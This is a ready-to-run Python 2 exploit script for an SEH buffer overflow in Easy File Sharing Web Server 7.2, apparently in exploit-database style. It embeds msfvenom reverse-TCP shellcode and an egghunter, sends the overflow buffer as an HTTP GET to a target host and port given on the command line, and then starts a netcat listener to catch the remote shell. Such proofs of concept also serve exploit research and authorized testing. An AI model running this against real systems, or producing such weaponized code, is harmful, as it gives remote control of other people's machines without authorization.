#!/usr/bin/env python
import sys
import socket
import struct
import subprocess

#----------------------------------------------------------------------------------#
# Exploit: Easy File Sharing Web Server 7.2 SEH Buffer Overflow (egghunter)        #
# OS Tested: XP PRO SP3 (Professional); Windows 7 SP1                              #
# Author: Amonsec                                                                  #
# Software: https://www.exploit-db.com/apps/                                       #
#                   60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe                  #
#----------------------------------------------------------------------------------#
# Gratz:                                                                           #
#       Corelan    (https://www.corelan.be/)                                       #
#       b33f       (https://www.fuzzysecurity.com/)                                #
#       Ch3rn0byl  (http://ch3rn0byl.com/)                                         #
#----------------------------------------------------------------------------------#
if len(sys.argv) < 3:
	print '[*] Easy File Sharing v7.2 exploit'
	print '[*] Usage: {} <ip addr> <port>'.format(sys.argv[0])
	sys.exit(1)
else:
	rhost = sys.argv[1]
	rport = int(sys.argv[2])
	
#-------------------------------------------------------------------------------------------------------------------------------------------------------------#
# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=31337 LHOST=192.168.94.128 -a x86 -n 20 -f python -v shellcode -b '\x00\x20\x25\x2b\x2f\x5c' #
#-------------------------------------------------------------------------------------------------------------------------------------------------------------#
shellcode =  ""
shellcode += "\x4a\x41\x41\x93\xfd\x91\x99\x41\x3f\xf5\xd6\xd6"
shellcode += "\x37\x90\x49\x90\x9b\xf9\x27\x98\xbf\x83\xd1\x55"
shellcode += "\xd1\xd9\xcd\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x52"
shellcode += "\x31\x78\x12\x83\xe8\xfc\x03\xfb\xdf\xb7\x24\x07"
shellcode += "\x37\xb5\xc7\xf7\xc8\xda\x4e\x12\xf9\xda\x35\x57"
shellcode += "\xaa\xea\x3e\x35\x47\x80\x13\xad\xdc\xe4\xbb\xc2"
shellcode += "\x55\x42\x9a\xed\x66\xff\xde\x6c\xe5\x02\x33\x4e"
shellcode += "\xd4\xcc\x46\x8f\x11\x30\xaa\xdd\xca\x3e\x19\xf1"
shellcode += "\x7f\x0a\xa2\x7a\x33\x9a\xa2\x9f\x84\x9d\x83\x0e"
shellcode += "\x9e\xc7\x03\xb1\x73\x7c\x0a\xa9\x90\xb9\xc4\x42"
shellcode += "\x62\x35\xd7\x82\xba\xb6\x74\xeb\x72\x45\x84\x2c"
shellcode += "\xb4\xb6\xf3\x44\xc6\x4b\x04\x93\xb4\x97\x81\x07"
shellcode += "\x1e\x53\x31\xe3\x9e\xb0\xa4\x60\xac\x7d\xa2\x2e"
shellcode += "\xb1\x80\x67\x45\xcd\x09\x86\x89\x47\x49\xad\x0d"
shellcode += "\x03\x09\xcc\x14\xe9\xfc\xf1\x46\x52\xa0\x57\x0d"
shellcode += "\x7f\xb5\xe5\x4c\xe8\x7a\xc4\x6e\xe8\x14\x5f\x1d"
shellcode += "\xda\xbb\xcb\x89\x56\x33\xd2\x4e\x98\x6e\xa2\xc0"
shellcode += "\x67\x91\xd3\xc9\xa3\xc5\x83\x61\x05\x66\x48\x71"
shellcode += "\xaa\xb3\xdf\x21\x04\x6c\xa0\x91\xe4\xdc\x48\xfb"
shellcode += "\xea\x03\x68\x04\x21\x2c\x03\xff\xa2\x93\x7c\xa1"
shellcode += "\xb2\x7c\x7f\x5d\xc9\x15\xf6\xbb\x47\xf6\x5e\x14"
shellcode += "\xf0\x6f\xfb\xee\x61\x6f\xd1\x8b\xa2\xfb\xd6\x6c"
shellcode += "\x6c\x0c\x92\x7e\x19\xfc\xe9\xdc\x8c\x03\xc4\x48"
shellcode += "\x52\x91\x83\x88\x1d\x8a\x1b\xdf\x4a\x7c\x52\xb5"
shellcode += "\x66\x27\xcc\xab\x7a\xb1\x37\x6f\xa1\x02\xb9\x6e"
shellcode += "\x24\x3e\x9d\x60\xf0\xbf\x99\xd4\xac\xe9\x77\x82"
shellcode += "\x0a\x40\x36\x7c\xc5\x3f\x90\xe8\x90\x73\x23\x6e"
shellcode += "\x9d\x59\xd5\x8e\x2c\x34\xa0\xb1\x81\xd0\x24\xca"
shellcode += "\xff\x40\xca\x01\x44\x70\x81\x0b\xed\x19\x4c\xde"
shellcode += "\xaf\x47\x6f\x35\xf3\x71\xec\xbf\x8c\x85\xec\xca"
shellcode += "\x89\xc2\xaa\x27\xe0\x5b\x5f\x47\x57\x5b\x4a"

#--------------------------------------------------------------------------------------------------------#
# (*) Badchars = '\x00\x20\x25\x2b\x2f\x5c'                                                              #
#                                                                                                        #
# (*) Crash to nseh 4061-bytes                                                                           #
# (*) shellcode space = 2000                                                                             #
#--------------------------------------------------------------------------------------------------------#
# (0) 2000 'A' character                                                                                 #
# (1) Marker 'hivehive'                                                                                  #
# (2) 20 NOPs + shellcode                                                                                #
# (3) 1641 NOPs                                                                                          #
# (4) Egghunter; marker 'hive'                                                                           #
# (5) 16 NOPs                                                                                            #
# (6) nseh = '\xeb\x06\x90\x90'                                                                          #
# (7) seh = '\x1e\x40\x20\x12'	pop pop ret | [ImageLoad.dll]                                            #
# (8) JMP SHORT -60 => \xeb\xc4                                                                          #
# (9) 1429 NOPs                                                                                          #
#--------------------------------------------------------------------------------------------------------#
# Exploit Structure:                                                                                     #
#                                                                                                        #
#                                                             +---------------->                         #
#    [AA..AA] [NOPs + shellcode] [NOPs] [egghunter] [NOPs]   [nseh]   [seh]   [\xeb\xc4] [NOPs]          #
#     +---------------------------------------------------------------->  |           |                  #
#              ^                         ^       |               <--------+           |                  #
#              |                         |-------|------------------------------------+                  #
#              +---------------------------------+                                                       #
#                                                                                                        #
#--------------------------------------------------------------------------------------------------------#
egghunter = ''
egghunter += '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c'
egghunter += '\x05\x5a\x74\xef\xb8\x68\x69\x76\x65\x8b\xfa\xaf\x75'
egghunter += '\xea\xaf\x75\xe7\xff\xe7'

buffer = ''
buffer += '\x41' * 2000
buffer += 'hivehive' 
buffer += '\x90' * 20
buffer += shellcode
buffer += '\x90' * (4013 - 2000 - 8 -20 - len(shellcode))
buffer += egghunter
buffer += '\x90' * 16
buffer += struct.pack('<L', 0x909006eb)
buffer += struct.pack('<L', 0x100194b2)
buffer += '\xeb\xc4'
buffer += '\x90' * (5500 - 4061 - 8 - 2)

payload = 'GET {} HTTP/1.0\r\n\r\n'.format(buffer)

try:
	print '[*] Easy File Sharing Web Server 7.2 SEH Buffer Overflow (egghunter)'
	print '[*] Target: {}:{}'.format(rhost, rport)

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((rhost, rport))
	print '[*] Connection established'

	print '[*] Send exploit: {} bytes'.format(len(buffer))
	s.send(payload)
	s.close

	print "\n[*] Brrrrrraaaaah! Time for a shell?! huhg"
	subprocess.call(['nc -lnvvp 31337'], shell=True)

except:
	print "[-] Host unreachable"
	sys.exit(1)
